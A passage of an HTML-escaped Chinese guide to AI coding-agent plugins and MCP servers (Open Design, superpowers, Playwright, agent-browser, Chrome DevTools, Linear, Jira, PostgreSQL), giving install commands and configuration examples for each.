&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;nexu-io&#x2F;open-design&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;官网&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;open-design.ai&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;开源 Claude Design 替代品。259+ Skills · 142+ Design Systems · 261+ 插件，支持原型设计、品牌规范、PPT&#x2F;PDF&#x2F;MP4 导出等。原生支持 OpenCode &#x2F; Claude Code &#x2F; Codex &#x2F; Cursor 等 21+ 代理&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Claude Code Plugin + Skills 集合&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;Open Design 是一个完整的本地优先设计工作台（原生桌面应用），同时也可以作为 Skills&#x2F;Plugin 安装到编码代理中使用。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;skills-an-zhuang-jin-an-zhuang-ji-neng-wen-jian-qing-liang&quot;&gt;Skills 安装（仅安装技能文件，轻量）&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode
npx skills add nexu-io&amp;#x2F;open-design -a opencode

# Claude Code
npx skills add nexu-io&amp;#x2F;open-design -a claude-code

# Codex
npx skills add nexu-io&amp;#x2F;open-design -a codex
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;plugin-an-zhuang-claude-code-yuan-sheng-cha-jian-shi-chang&quot;&gt;Plugin 安装（Claude Code 原生插件市场）&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Claude Code 内执行
# &amp;#x2F;plugin marketplace add nexu-io&amp;#x2F;open-design
# &amp;#x2F;plugin install open-design@nexu-io-skills
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;zhuo-mian-ying-yong-an-zhuang-wan-zheng-gong-zuo-tai-macos-windows&quot;&gt;桌面应用安装（完整工作台，macOS&#x2F;Windows）&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 下载桌面应用：https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;nexu-io&amp;#x2F;open-design&amp;#x2F;releases
# 环境要求：Node.js 24+、pnpm 10.33+

# 从源码运行（Docker）
git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;nexu-io&amp;#x2F;open-design.git
cd open-design&amp;#x2F;deploy
cp .env.example .env
# 编辑 .env 设置 OD_API_TOKEN
docker compose up -d
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;8-superpowers编码代理开发方法论228k&quot;&gt;8. superpowers（编码代理开发方法论）⭐228k+&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;obra&#x2F;superpowers&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;完整的 AI 编程代理开发方法论与 Skills 集合。包含 TDD、子代理驱动开发、系统调试、Git Worktree 隔离开发、Code Review、计划编写等 25+ Skills，覆盖从需求分析到合并发布的全流程&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Plugin + Skills（支持 Claude Code &#x2F; Codex &#x2F; OpenCode &#x2F; Cursor &#x2F; Gemini CLI &#x2F; GitHub Copilot CLI 等 7+ 代理）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-6&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Claude Code（通过官方插件市场，推荐）
&amp;#x2F;plugin install superpowers@claude-plugins-official

# 或通过 Superpowers 自有市场
&amp;#x2F;plugin marketplace add obra&amp;#x2F;superpowers-marketplace
&amp;#x2F;plugin install superpowers@superpowers-marketplace

# OpenCode
# 在 OpenCode 中输入以下指令：
Fetch and follow instructions from https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;obra&amp;#x2F;superpowers&amp;#x2F;refs&amp;#x2F;heads&amp;#x2F;main&amp;#x2F;.opencode&amp;#x2F;INSTALL.md

# Codex CLI（通过官方插件市场）
# 在 Codex 中输入 &amp;#x2F;plugins，搜索 superpowers，选择 Install Plugin

# Codex App
# 在 Codex App 侧边栏点击 Plugins，找到 Superpowers，点击 + 安装

# Cursor
&amp;#x2F;add-plugin superpowers

# Gemini CLI
gemini extensions install https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;obra&amp;#x2F;superpowers
# 更新
gemini extensions update superpowers

# GitHub Copilot CLI
copilot plugin marketplace add obra&amp;#x2F;superpowers-marketplace
copilot plugin install superpowers@superpowers-marketplace

# Factory Droid
droid plugin marketplace add https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;obra&amp;#x2F;superpowers
droid plugin install superpowers@superpowers
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;he-xin-gong-zuo-liu&quot;&gt;核心工作流&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;brainstorming&lt;&#x2F;strong&gt; — 编码前激活，Socratic 式需求澄清，分段输出设计文档供确认&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;using-git-worktrees&lt;&#x2F;strong&gt; — 设计确认后创建隔离工作空间，检查测试基线&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;writing-plans&lt;&#x2F;strong&gt; — 将工作拆分为 2-5 分钟的 bite-sized 任务，含精确文件路径和验证步骤&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;subagent-driven-development&lt;&#x2F;strong&gt; — 每个任务派遣独立子代理，两阶段审查（规格合规 + 代码质量）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;test-driven-development&lt;&#x2F;strong&gt; — 强制执行 RED-GREEN-REFACTOR 循环，先写失败测试再写最小实现&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;requesting-code-review&lt;&#x2F;strong&gt; — 任务间自动触发审查，严重问题阻塞进展&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;finishing-a-development-branch&lt;&#x2F;strong&gt; — 任务完成后验证测试、清理 worktree、提供 merge&#x2F;PR 选项&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;代理在执行任何任务前会自动检查并加载相关 Skill，非建议性工作流，而是强制执行。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;mcp-类工具&quot;&gt;MCP 类工具&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;MCP（Model Context Protocol）服务器以独立进程运行，通过标准 I&#x2F;O 或 HTTP 与代理通信，提供工具调用能力。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;9-playwright-mcp浏览器自动化-34k&quot;&gt;9. Playwright MCP（浏览器自动化）⭐34k&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;microsoft&#x2F;playwright-mcp&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;基于 Playwright 的浏览器自动化 MCP 服务，支持页面操作、截图、无头浏览&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;MCP Server（Node.js&#x2F;npx）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-7&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode
opencode mcp add playwright -- npx @playwright&amp;#x2F;mcp@latest

# Claude Code
claude mcp add playwright npx @playwright&amp;#x2F;mcp@latest

# Codex
codex mcp add playwright npx &amp;quot;@playwright&amp;#x2F;mcp@latest&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;提示&lt;&#x2F;strong&gt;：对于编码代理，微软还提供了 Playwright CLI + Skills（见下方），更节省 token。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;playwright-cli--skills编码代理推荐-&quot;&gt;Playwright CLI + Skills（编码代理推荐）⭐&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;microsoft&#x2F;playwright-cli&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Playwright CLI 是面向编码代理的浏览器自动化入口。相比 MCP，CLI+Skills 模式更省 token，适合需要同时处理大量代码的编码代理&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;CLI + Skills（Node.js&#x2F;npm）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-8&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 全局安装 CLI
npm install -g @playwright&amp;#x2F;cli@latest

# 验证
playwright-cli --help
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;an-zhuang-skills&quot;&gt;安装 Skills&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 为代理安装 Playwright Skills（代理将自动发现本地 Skills）
playwright-cli install --skills

# 或通过 npx skills（OpenCode &amp;#x2F; Codex）
npx skills add microsoft&amp;#x2F;playwright-cli -a opencode
npx skills add microsoft&amp;#x2F;playwright-cli -a codex
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;基本命令：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;playwright-cli open &amp;quot;https:&amp;#x2F;&amp;#x2F;example.com&amp;quot;          # 打开页面
playwright-cli open &amp;quot;https:&amp;#x2F;&amp;#x2F;example.com&amp;quot; --headed  # 有头模式（可见浏览器）
playwright-cli type &amp;quot;input text&amp;quot;                    # 输入文本
playwright-cli press Enter                          # 按键
playwright-cli click &amp;quot;按钮文本&amp;quot;                     # 点击
playwright-cli check e21                            # 勾选复选框
playwright-cli screenshot                           # 截图
playwright-cli snapshot                             # 页面快照
playwright-cli close                                # 关闭浏览器
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;MCP vs CLI 选择建议&lt;&#x2F;strong&gt;：编码代理（Claude Code &#x2F; OpenCode &#x2F; Codex）推荐使用 CLI，MCP 更适合需要持久浏览器状态的自愈测试、长时间探索性自动化等场景。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;10-agent-browservercel-浏览器-cli-35k&quot;&gt;10. agent-browser（Vercel 浏览器 CLI）⭐35k+&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;vercel-labs&#x2F;agent-browser&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Vercel 出品的原生 Rust 浏览器自动化 CLI，可为 AI 代理提供浏览器操作能力&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;CLI 工具 &#x2F; 可封装为 MCP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-9&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 全局安装（推荐）
npm install -g agent-browser
agent-browser install          # 首次自动下载 Chrome for Testing

# macOS
brew install agent-browser
agent-browser install

# Linux（需要系统依赖）
npm install -g agent-browser
agent-browser install --with-deps

# 升级
agent-browser upgrade
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;基本命令：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;agent-browser open &amp;quot;https:&amp;#x2F;&amp;#x2F;example.com&amp;quot;   # 打开页面
agent-browser snapshot                      # 获取页面快照
agent-browser click &amp;quot;按钮文本&amp;quot;              # 点击元素
agent-browser type &amp;quot;input&amp;quot; &amp;quot;内容&amp;quot;           # 输入文本
agent-browser close                         # 关闭浏览器
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;社区提供了 MCP 封装（如 &lt;code&gt;minhlucvan&#x2F;agent-browser-mcp&lt;&#x2F;code&gt;），可将其作为 MCP Server 在代理中使用。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;11-chrome-devtools-mcp前端调试-44k&quot;&gt;11. Chrome DevTools MCP（前端调试）⭐44k&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;ChromeDevTools&#x2F;chrome-devtools-mcp&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Chrome DevTools 官方 MCP，提供性能分析、网络请求调试、控制台日志、截图等能力&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;MCP Server + Claude Code Plugin&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-10&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode
opencode mcp add chrome-devtools -- npx chrome-devtools-mcp@latest

# Claude Code
# 方式一：MCP 安装
claude mcp add chrome-devtools npx chrome-devtools-mcp@latest
# 方式二：插件市场（推荐，支持 Skills）
# &amp;#x2F;plugin marketplace add ChromeDevTools&amp;#x2F;chrome-devtools-mcp
# &amp;#x2F;plugin install chrome-devtools-mcp@chrome-devtools-plugins

# Codex
codex mcp add chrome-devtools -- npx chrome-devtools-mcp@latest
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;12-linear-mcp任务管理&quot;&gt;12. Linear MCP（任务管理）&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;官方 MCP&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;mcp.linear.app&#x2F;sse（远程 SSE）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Linear 官方 MCP 服务，管理 Issues、项目、团队等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-11&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode（命令行）
opencode mcp add linear --url &amp;quot;https:&amp;#x2F;&amp;#x2F;mcp.linear.app&amp;#x2F;sse&amp;quot;

# OpenCode（手动编辑 ~&amp;#x2F;.config&amp;#x2F;opencode&amp;#x2F;opencode.json）：
# 在 &amp;quot;mcpServers&amp;quot; 中添加：
{
  &amp;quot;mcpServers&amp;quot;: {
    &amp;quot;linear&amp;quot;: {
      &amp;quot;url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;mcp.linear.app&amp;#x2F;sse&amp;quot;
    }
  }
}

# Claude Code
claude mcp add linear --url &amp;quot;https:&amp;#x2F;&amp;#x2F;mcp.linear.app&amp;#x2F;sse&amp;quot;

# Codex
codex mcp add --url &amp;quot;https:&amp;#x2F;&amp;#x2F;mcp.linear.app&amp;#x2F;sse&amp;quot; linear
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;13-jira-mcp任务管理&quot;&gt;13. Jira MCP（任务管理）&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;sooperset&#x2F;mcp-atlassian (⭐5.4k, Jira + Confluence)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;官方&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;atlassian&#x2F;atlassian-mcp-server (⭐780)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Jira&#x2F;Confluence MCP 服务，管理 Issue、Sprint、文档等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;MCP Server（Python&#x2F;uvx）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h5 id=&quot;qian-zhi-zhun-bei&quot;&gt;前置准备&lt;&#x2F;h5&gt;
&lt;ol&gt;
&lt;li&gt;获取 API Token：https:&#x2F;&#x2F;id.atlassian.com&#x2F;manage-profile&#x2F;security&#x2F;api-tokens&lt;&#x2F;li&gt;
&lt;li&gt;确认 Jira URL（如 &lt;code&gt;https:&#x2F;&#x2F;your-company.atlassian.net&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;an-zhuang-fang-fa-12&quot;&gt;安装方法&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode（命令行）
opencode mcp add mcp-atlassian -- uvx mcp-atlassian
# 然后设置环境变量（见下方配置文件方式中的 env 字段）

# OpenCode（手动编辑 ~&amp;#x2F;.config&amp;#x2F;opencode&amp;#x2F;opencode.json）：
{
  &amp;quot;mcpServers&amp;quot;: {
    &amp;quot;mcp-atlassian&amp;quot;: {
      &amp;quot;command&amp;quot;: &amp;quot;uvx&amp;quot;,
      &amp;quot;args&amp;quot;: [&amp;quot;mcp-atlassian&amp;quot;],
      &amp;quot;env&amp;quot;: {
        &amp;quot;JIRA_URL&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;your-company.atlassian.net&amp;quot;,
        &amp;quot;JIRA_USERNAME&amp;quot;: &amp;quot;your.email@company.com&amp;quot;,
        &amp;quot;JIRA_API_TOKEN&amp;quot;: &amp;quot;your_api_token&amp;quot;,
        &amp;quot;CONFLUENCE_URL&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;your-company.atlassian.net&amp;#x2F;wiki&amp;quot;,
        &amp;quot;CONFLUENCE_USERNAME&amp;quot;: &amp;quot;your.email@company.com&amp;quot;,
        &amp;quot;CONFLUENCE_API_TOKEN&amp;quot;: &amp;quot;your_api_token&amp;quot;
      }
    }
  }
}

# Claude Code
claude mcp add jira -- uvx mcp-atlassian
# 然后设置环境变量

# Codex
codex mcp add jira -- uvx mcp-atlassian
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;14-postgresql-mcp数据库查询&quot;&gt;14. PostgreSQL MCP（数据库查询）&lt;&#x2F;h3&gt;
&lt;p&gt;有两个主流方案：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;fang-an-a-dbhub-duo-shu-ju-ku-tui-jian&quot;&gt;方案 A：DBHub（多数据库，推荐）&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;bytebase&#x2F;dbhub (⭐3k)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;零依赖、token 高效的只读数据库 MCP，支持 Postgres&#x2F;MySQL&#x2F;SQL Server 等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;MCP Server&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h5 id=&quot;an-zhuang-fang-fa-13&quot;&gt;安装方法&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode
opencode mcp add dbhub -- npx @bytebase&amp;#x2F;dbhub@latest --transport stdio --dsn &amp;quot;postgres:&amp;#x2F;&amp;#x2F;user:pass@host:5432&amp;#x2F;db&amp;quot;

# Claude Code
claude mcp add dbhub npx @bytebase&amp;#x2F;dbhub@latest -- --dsn &amp;quot;postgres:&amp;#x2F;&amp;#x2F;user:pass@host:5432&amp;#x2F;db&amp;quot;

# Codex
codex mcp add dbhub -- npx @bytebase&amp;#x2F;dbhub@latest --transport stdio --dsn &amp;quot;postgres:&amp;#x2F;&amp;#x2F;user:pass@host:5432&amp;#x2F;db&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;fang-an-b-pg-aiguide-zhi-shi-mcp&quot;&gt;方案 B：pg-aiguide（知识 + MCP）&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;详情&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GitHub&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;https:&#x2F;&#x2F;github.com&#x2F;timescale&#x2F;pg-aiguide (⭐1.8k)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;简介&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Timescale 出品，Postgres 最佳实践 Skill + MCP，帮助 AI 编写更好的 SQL&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;MCP Server + Claude Code Skill&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h5 id=&quot;an-zhuang-fang-fa-14&quot;&gt;安装方法&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# OpenCode（Skills 方式）
npx skills add timescale&amp;#x2F;pg-aiguide -a opencode

# Claude Code
claude plugin marketplace add timescale&amp;#x2F;pg-aiguide
claude plugin install pg@aiguide

# Codex（MCP 方式）
